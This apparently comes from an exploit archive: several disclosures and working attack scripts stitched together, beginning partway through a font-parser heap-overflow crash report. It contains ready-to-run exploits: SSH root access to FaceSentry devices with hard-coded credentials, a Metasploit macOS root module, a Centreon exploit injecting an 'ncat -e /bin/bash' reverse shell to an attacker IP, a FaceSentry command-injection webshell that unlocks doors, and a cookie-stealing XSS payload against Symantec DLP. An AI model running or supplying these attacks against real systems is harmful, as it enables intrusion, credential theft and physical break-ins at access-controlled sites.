#4 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
#5 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
#6 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#7 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#8 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#9 0xf7b41275 in __libc_start_main
#10 0x806a590 in _start
0xf3603f88 is located 0 bytes to the right of 200-byte region [0xf3603ec0,0xf3603f88)
allocated by thread T0 here:
#0 0x810ddc5 in __interceptor_malloc (tx+0x810ddc5)
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x8199bfa in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x84689ec in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x846919d in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x817dd0d in readStrings afdko/c/public/lib/source/cffread/cffread.c:1738:5
#6 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
#7 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
#8 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
#9 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#10 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#11 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#12 0xf7b41275 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow (tx+0x810d006) in __asan_memcpy
Shadow bytes around the buggy address:
0x3e6c07a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c07b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c07c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c07d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x3e6c07e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3e6c07f0: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c0800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c0810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c0820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c0830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3e6c0840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==116914==ABORTING
--- cut ---
A non-instrumented version of "tx" crashes with a SIGSEGV while trying to copy the font name into invalid memory:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/10i $eip
=> 0xf7eb50c0: movdqu %xmm1,-0x10(%edx,%ecx,1)
0xf7eb50c6: jbe 0xf7eb537e
0xf7eb50cc: movdqu 0x10(%eax),%xmm0
0xf7eb50d1: movdqu -0x20(%eax,%ecx,1),%xmm1
0xf7eb50d7: cmp $0x40,%ecx
0xf7eb50da: movdqu %xmm0,0x10(%edx)
0xf7eb50df: movdqu %xmm1,-0x20(%edx,%ecx,1)
0xf7eb50e5: jbe 0xf7eb537e
0xf7eb50eb: movdqu 0x20(%eax),%xmm0
0xf7eb50f0: movdqu 0x30(%eax),%xmm1
(gdb) p/x $xmm1
$1 = {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141,
0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
uint128 = 0x41414141414141414141414141414141}
(gdb) info reg $edx
edx 0x813ea78 135522936
(gdb) info reg $ecx
ecx 0x1ff8 8184
(gdb) x/10gx $edx+$ecx
0x8140a70: Cannot access memory at address 0x8140a70
(gdb) bt
#0 0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0x0805bb9c in srcRead (h=0x8131200, count=16384, ptr=0x813ea78 'A' <repeats 16 times>) at ../../../../../source/cffread/cffread.c:481
#2 0x080557e3 in readStrings (h=0x8131200) at ../../../../../source/cffread/cffread.c:1745
#3 0x080548ae in cfrBegFont (h=0x8131200, flags=4, origin=0, ttcIndex=0, top=0x8118024, UDV=0x0) at ../../../../../source/cffread/cffread.c:2717
#4 0x0804d491 in cfrReadFont (h=0x8118008, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#5 0x0804d309 in doFile (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:429
#6 0x0804c9b6 in doSingleFileSet (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:488
#7 0x0804a82a in parseArgs (h=0x8118008, argc=3, argv=0xffffcd58) at ../../../../source/tx.c:558
#8 0x08049665 in main (argc=3, argv=0xffffcd58) at ../../../../source/tx.c:1631
--- cut ---
In case of the Microsoft Edge renderer, it doesn't immediately crash during the buffer overflow, because there is enough mapped heap memory after the overflow allocation to consume the 16kB string. As a result of the memory corruption, however, an exception is generated a little later in the code while trying to access an invalid pointer overwritten with 0x4141...41:
--- cut ---
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!fillSet+0x37:
00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi ds:41414141`41414399=????????
0:038> u @$scopeip-4
DWrite!fillSet+0x33:
00007ffb`29e7019f 488b6b10 mov rbp,qword ptr [rbx+10h]
00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi
00007ffb`29e701aa 7e21 jle DWrite!fillSet+0x61 (00007ffb`29e701cd)
00007ffb`29e701ac 4c8b8c2e50020000 mov r9,qword ptr [rsi+rbp+250h]
00007ffb`29e701b4 4c8d4508 lea r8,[rbp+8]
00007ffb`29e701b8 488d95f8010000 lea rdx,[rbp+1F8h]
00007ffb`29e701bf 4c03c6 add r8,rsi
00007ffb`29e701c2 4803d6 add rdx,rsi
0:038> db rbx
00000131`256e9ca0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9cb0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9cc0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9cd0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9ce0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9cf0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9d00 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000131`256e9d10 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:038> k
# Child-SP RetAddr Call Site
00 00000008`c4d5b550 00007ffb`29e7219d DWrite!fillSet+0x37
01 00000008`c4d5b5c0 00007ffb`29e62314 DWrite!cfwEndSet+0x51
02 00000008`c4d5b600 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x23c
03 00000008`c4d5bb00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
04 00000008`c4d5bce0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
05 00000008`c4d5bf00 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
06 00000008`c4d5c260 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
07 00000008`c4d5c2f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
08 00000008`c4d5c410 00007ffb`0f8b50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
09 00000008`c4d5c460 00007ffb`0f88fcb0 edgehtml!CDXPrintControl::Close+0x44
0a 00000008`c4d5c4b0 00007ffb`0f8947ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0b 00000008`c4d5c4e0 00007ffb`0f76b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0c 00000008`c4d5c510 00007ffb`0f3c9175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0d 00000008`c4d5c550 00007ffa`f02e68f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47098.zip
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
# Firmware 5.7.2 build 568 (Algorithm A14)
# Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry facial biometric access control appliance
# ships with hard-coded and weak credentials for SSH access
# on port 23445 using the credentials wwwuser:123456. The root
# privilege escalation is done by abusing the insecure sudoers
# entry file.
#
# ================================================================
# lqwrm@metalgear:~$ python ssh_root.py 192.168.11.1
# [+] Connecting to 192.168.11.1 on port 23445: Done
# [*] wwwuser@192.168.11.1:
# Distro Ubuntu 16.04
# OS: linux
# Arch: Unknown
# Version: 4.10.0
# ASLR: Enabled
# Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
# [+] Opening new channel: 'shell': Done
# [*] Switching to interactive mode
# wwwuser@TWR01:~$ pwd
# /home/wwwuser
# wwwuser@TWR01:~$ sudo -l
# Matching Defaults entries for wwwuser on localhost:
# env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
#
# User wwwuser may run the following commands on localhost:
# (root) NOPASSWD: /sbin/service, PROCESSES, NETWORKING, REBOOT, IPTABLES, /faceGuard/bin/*, /faceGuard/database/Restore*, /bin/date, /bin/cat, /bin/echo, /faceGuard/bin/phpbin/*, /bin/sed, /sbin/*, /usr/sbin/*, /bin/*, /usr/bin/*
# wwwuser@TWR01:~$ sudo cat /etc/sudoers.d/sudoers.sentry
# Cmnd_Alias SENTRY = /faceGuard/bin/*
# Cmnd_Alias SENTRY_DB_RESTORE = /faceGuard/database/Restore*
# Cmnd_Alias DATE = /bin/date
# Cmnd_Alias CAT = /bin/cat
# Cmnd_Alias ECHO = /bin/echo
# Cmnd_Alias PRINTING = /usr/sbin/lpc, /usr/bin/lprm
# Cmnd_Alias SENTRYWEB = /faceGuard/bin/phpbin/*
# Cmnd_Alias SED = /bin/sed
# Cmnd_Alias SERVICES = /sbin/service
# Cmnd_Alias SBIN = /sbin/*, /usr/sbin/*
# Cmnd_Alias BIN = /bin/*, /usr/bin/*
#
# wwwuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# iwtuser ALL=NOPASSWD: SERVICES, PROCESSES, NETWORKING, REBOOT, IPTABLES, SENTRY, SENTRY_DB_RESTORE, DATE, CAT, ECHO, SENTRYWEB, SED, SBIN, BIN
# wwwuser@TWR01:~$ id
# uid=1001(wwwuser) gid=1001(wwwuser) groups=1001(wwwuser),27(sudo)
# wwwuser@TWR01:~$ sudo su
# root@TWR01:/home/wwwuser# id
# uid=0(root) gid=0(root) groups=0(root)
# root@TWR01:/home/wwwuser# exit
# exit
# wwwuser@TWR01:~$ exit
# logout
# [*] Got EOF while reading in interactive
# [*] Closed SSH channel with 192.168.11.1
# lqwrm@metalgear:~$
# ================================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
# Linux 3.4.113-sun8i (armv7l)
# PHP/7.0.30-0ubuntu0.16.04.1
# PHP/7.0.22-0ubuntu0.16.04.1
# lighttpd/1.4.35
# Armbian 5.38
# Sunxi Linux (sun8i generation)
# Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5526
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5526.php
#
#
# 28.05.2019
#
from pwn import *
if len(sys.argv) < 2:
print 'Usage: ./fs.py <ip>\n'
sys.exit()
ip = sys.argv[1]
rshell = ssh('wwwuser', ip, password='123456', port=23445)
rshell.interactive()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
'Description' => %q{
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
from a command injection vulnerability that can be exploited by creating a
specially crafted disk label.
The tmdiagnose binary uses awk to list every mounted volume, and composes
shell commands based on the volume labels. By creating a volume label with the
backtick character, we can have our own binary executed with root priviledges.
},
'License' => MSF_LICENSE,
'Author' => [
'CodeColorist', # Discovery and exploit
'timwr', # Metasploit module
],
'References' => [
['CVE', '2019-8513'],
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
['URL', 'https://support.apple.com/en-in/HT209600'],
['URL', 'https://github.com/ChiChou/sploits'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Apr 13 2019'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end
def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.14.4')
CheckCode::Safe
else
CheckCode::Appears
end
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
if target['Arch'] == ARCH_X64
root_cmd = payload.encoded
else
root_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
root_cmd = "echo \"#{root_cmd}\" | python"
end
root_cmd = "CMD:#{root_cmd}"
end
if root_cmd.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
end
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
exploit_data[placeholder_index, root_cmd.length] = root_cmd
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec(exploit_file)
print_status("Exploit result:\n#{result}")
end
end
#!/usr/bin/python
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-13024
# Vendor Homepage: https://www.centreon.com/
# Software link: https://download.centreon.com
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
import requests
import sys
import warnings
from bs4 import BeautifulSoup
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
if len(sys.argv) != 6:
print(len(sys.argv))
print("[~] Usage : ./centreon-exploit.py url username password ip port")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
login_info = {
"useralias": username,
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In Sucssfully")
print("[+] Retrieving Poller token")
poller_configuration_page = url + "/main.get.php?p=60901"
get_poller_token = request.get(poller_configuration_page)
poller_html = get_poller_token.text
poller_soup = BeautifulSoup(poller_html)
poller_token = poller_soup.findAll('input')[24].get("value")
print("[+] Poller token is : {0}".format(poller_token))
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
send_payload = request.post(poller_configuration_page, payload_info)
print("[+] Injecting Done, triggering the payload")
print("[+] Check your netcat listener !")
generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
xml_page_data = {
"poller": "1",
"debug": "true",
"generate": "true",
}
request.post(generate_xml_page, xml_page_data)
else:
print("[-] Wrong credentials")
exit()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# FaceSentry Access Control System 6.4.8 Remote Root Exploit
#
#
# Vendor: iWT Ltd.
# Product web page: http://www.iwt.com.hk
# Affected version: Firmware 6.4.8 build 264 (Algorithm A16)
# Firmware 5.7.2 build 568 (Algorithm A14)
# Firmware 5.7.0 build 539 (Algorithm A14)
#
# Summary: FaceSentry 5AN is a revolutionary smart identity
# management appliance that offers entry via biometric face
# identification, contactless smart card, staff ID, or QR-code.
# The QR-code upgrade allows you to share an eKey with guests
# while you're away from your Office and monitor all activity
# via the web administration tool. Powered by standard PoE
# (Power over Ethernet), FaceSEntry 5AN can be installed in
# minutes with only 6 screws. FaceSentry 5AN is a true enterprise
# grade access control or time-and-attendance appliance.
#
# Desc: FaceSentry suffers from an authenticated OS command
# injection vulnerability using default credentials. This can
# be exploited to inject and execute arbitrary shell commands
# as the root user via the 'strInIP' POST parameter in pingTest
# PHP script.
#
# ==============================================================
# /pingTest.php:
# --------------
# 8: if (!isAuth('TestTools','R')){
# 9: echo "No Permission";
# 10: include("footer.php");
# 11: exit;
# 12: }
# 13:
# 14: if(isset($_POST["strInIP"])){
# 15: $strInIP = $_POST["strInIP"];
# 16: }else{
# 17: $strInIP = "";
# 18: }
# 19:
# 20: $strOperationResult = "";
# 21: if ($strInIP != ""){
# 22:
# 23: $out = array();
# 24: exec("sudo ping -c 4 $strInIP",$out);
# 25: $result = "";
# 26: foreach($out as $line){
# 27: $result = $result.$line."<br>";
# 28: }
# ==============================================================
#
# Tested on: Linux 4.14.18-sunxi (armv7l) Ubuntu 16.04.4 LTS (Xenial Xerus)
# Linux 3.4.113-sun8i (armv7l)
# PHP/7.0.30-0ubuntu0.16.04.1
# PHP/7.0.22-0ubuntu0.16.04.1
# lighttpd/1.4.35
# Armbian 5.38
# Sunxi Linux (sun8i generation)
# Orange Pi PC +
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5525
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5525.php
#
#
# 28.05.2019
#
import datetime########INITIALIZE
import urllib2#########BIOMETRICS
import urllib##########FACIAL.REC
import time############OGNITION.S
import sys##(.)###(.)##YSTEM.DOOR
import re#######O######UNLOCKED.A
import os#######_######CCESS.GRAN
import io######(_)#####TED.0B1000
import py##############1.11111011
from cookielib import CookieJar
global pajton
pajton = os.path.basename(sys.argv[0])
def usage():
if len(sys.argv) < 2:
print '[+] Usage: ./' + pajton + ' <ip>\n'
sys.exit()
def auth():
brojac = 0
usernames = [ 'admin', 'user', 'administrator' ] # case sensitive
passwords = [ '123', '123', '123456' ]
while brojac < 3:
podatoci = { 'strInLogin' : usernames[brojac],
'strInPassword' : passwords[brojac],
'saveLogin' : '1',
'saveFor' : '168' } # 7 days
print '[+] Trying creds ' + usernames[brojac] + ':' + passwords[brojac]
nesto_encode = urllib.urlencode(podatoci)
ajde.open('http://' + target + '/login.php', nesto_encode)
check = ajde.open('http://' + target + '/sentryInfo.php')
dool = re.search(r'Hardware Key', check.read())
if dool:
print '[+] That worked!'
break
else:
brojac += 1
if brojac == 3:
print '[!] Ah ah ah. You didn\'t say the magic word!'
sys.exit()
def door():
unlock = raw_input('[*] Unlock door No.: ') # default door number = 0
try:
br = int(unlock)
panel = { 'strInAction' : 'openDoor',
'strInPanelNo' : br,
'strInRestartAction' : '',
'strPanelIDRestart' : '',
'strPanelRestartAction' : '' }
nesto_encode = urllib.urlencode(panel)
ajde.open('http://' + target + '/openDoor.php', nesto_encode)
print '[+] Door ' + unlock + ' is unlocked!'
except ValueError:
print '[!] Only values from 0 to 8 are valid.'
door()
def main():
if os.name == 'posix':
os.system('clear')
if os.name == 'nt':
os.system('cls')
vremetodeneska = datetime.datetime.now()
kd = vremetodeneska.strftime('%d.%m.%Y %H:%M:%S')
print 'Starting exploit at ' + kd
print '''
──────────────────────────────────
──FaceSentry Access Control System
────────Remote Root Exploit
─────────Zero Science Lab
────────www.zeroscience.mk
───────────ZSL-2019-5525
─────────────▄▄▄▄▄▄▄▄▄
─────────────▌▐░▀░▀░▀▐
─────────────▌░▌░░░░░▐
─────────────▌░░░░░░░▐
─────────────▄▄▄▄▄▄▄▄▄
───────▄▀▀▀▀▀▌▄█▄░▄█▄▐▀▀▀▀▀▄
──────█▒▒▒▒▒▐░░░░▄░░░░▌▒▒▒▒▒█
─────▐▒▒▒▒▒▒▒▌░░░░░░░▐▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒█░▀▀▀▀▀░█▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▒▒█▄▄▄▄▄█▒▒▒▒▒▒▒▒▌
─────▐▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▌
─────▐▒▒▒▒▒█▒▒▒▒▒▒▒▒▒▒▒█▒▒▒▒▒▌
─────▐▒▒▒▒▒▐▒▒▒▒▒▒▒▒▒▒▒▌▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▒▒▒▒▒▒▒▒▒▐▒▒▒▒▒▒▌
─────▐▒▒▒▒▒▒▌▄▄▄▄▄▄▄▄▄▐▒▒▒▒▒▒▌
─────▐▄▄▄▄▄▄▌▌███████▌▐▄▄▄▄▄▄▌
──────█▀▀▀▀█─▌███▌███▌─█▀▀▀▀█
──────▐░░░░▌─▌███▌███▌─▐░░░░▌
───────▀▀▀▀──▌███▌███▌──▀▀▀▀
─────────────▌███▌███▌
─────────────▌███▌███▌
───────────▐▀▀▀██▌█▀▀▀▌
▒▒▒▒▒▒▒▒▒▒▒▐▄▄▄▄▄▄▄▄▄▄▌▒▒▒▒▒▒▒▒▒▒▒
'''
usage()
tegla = CookieJar()
global ajde, target
target = sys.argv[1]
ajde = urllib2.build_opener(urllib2.HTTPCookieProcessor(tegla))
auth()
raw_input('\n[*] Press [ENTER] to land... ')
print '[+] Entering interactive (web)shell...'
time.sleep(1)
print
while True:
try:
cmd = raw_input('root@facesentry:~# ')
if 'exit' in cmd.strip():
print '[+] Take care now, bye bye then!'
break
if 'door' in cmd.strip():
door()
continue
podatoci = { 'strInIP' : ';sudo ' + cmd } # |cmd
nesto_encode = urllib.urlencode(podatoci)
r_izraz = ajde.open('http://' + target + '/pingTest.php?', nesto_encode)
pattern = re.search(cmd+'\)<[^>]*>(.*?)</font>', r_izraz.read())
x = pattern.groups()[0].strip()
y = x.replace('<br>', '\n')
print y.strip()
except Exception as i:
print '[-] Error: ' + i.message
pass
except KeyboardInterrupt as k:
print '\n[+] Interrupter!'
sys.exit()
sys.exit()
if __name__ == "__main__":
main()
# Exploit Title: Persistent XSS on Symantec DLP <= 15.5 MP1
# Date: 2019-06-21
# Exploit Author: Chapman Schleiss
# Vendor Homepage: https://www.symantec.com/
# Software Link: https://support.symantec.com/us/en/mysymantec.html
# Version: <= 15.5 MP1
# CVE : 2019-9701
# Advisory-URL: https://support.symantec.com/us/en/article.SYMSA1484.html
# Hot Fix: https://support.symantec.com/us/en/article.ALERT2664.html
Description
---------------
Persistent XSS via 'name' param at
/ProtectManager/enforce/admin/senderrecipientpatterns/list
Payload: ' oNmouseover=prompt(document.domain,document.cookie) )
Browser: Firefox 64, IE 11
Date Observed: 15 January 2019
Reproduction POST
-----------------
POST
/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/update
HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Content-Type: application/x-www-form-urlencoded
Content-Length: 558
Connection: close
name=%27+oNmouseover%3Dprompt%28document.domain%2Cdocument.cookie%29+%29&description=some_text&userPatterns=test%
40test.com&ipAddresses=192.168.1.1&urlDomains=mail.company.com
&id=41&version=30
Reproduction GET
----------------
GET /ProtectManager/enforce/admin/senderrecipientpatterns/list HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Connection: close
Reproduction Response
---------------------
<div id="messages-section">
<div class="message-pane alert-pane">
<div class="alert-message">
<div class="yui3-g message-pane-scroll">
<div class="yui3-u-1-24 message-icon">
<img src="/ProtectManager/graphics/success_icon.gif" alt="Success" width="19" height="19" />
</div>
<div class="yui3-u-11-12 wrapping-text">
<div id="web-status-message-163" class="message-content"> Recipient pattern '' oNmouseover=prompt(document.domain,document.cookie) )' was saved successfully. </div>
</div>
<div class="yui3-u-1-24">
<div class="message-pane-actions">
<a href="#" class="message-back-to-element hidden action-icon">
<img src="/ProtectManager/graphics/general/scroll_back_16.png" alt="" title="Show affected object"/>
</a>
<a href="#" class="message-pane-close action-icon">
<img src="/ProtectManager/graphics/general/cancel_blue_16.png" alt="" title="Close message bar"/>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
===========================================================================================
# Exploit Title: Karenderia CMS 5.1 - LFI Vuln.
# Dork: N/A
# Date: 04-07-2019
# Exploit Author: Mehmet EMIROGLU
# Software Link:
https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - Frame Inj
# Parameters : f
# Attack Pattern :
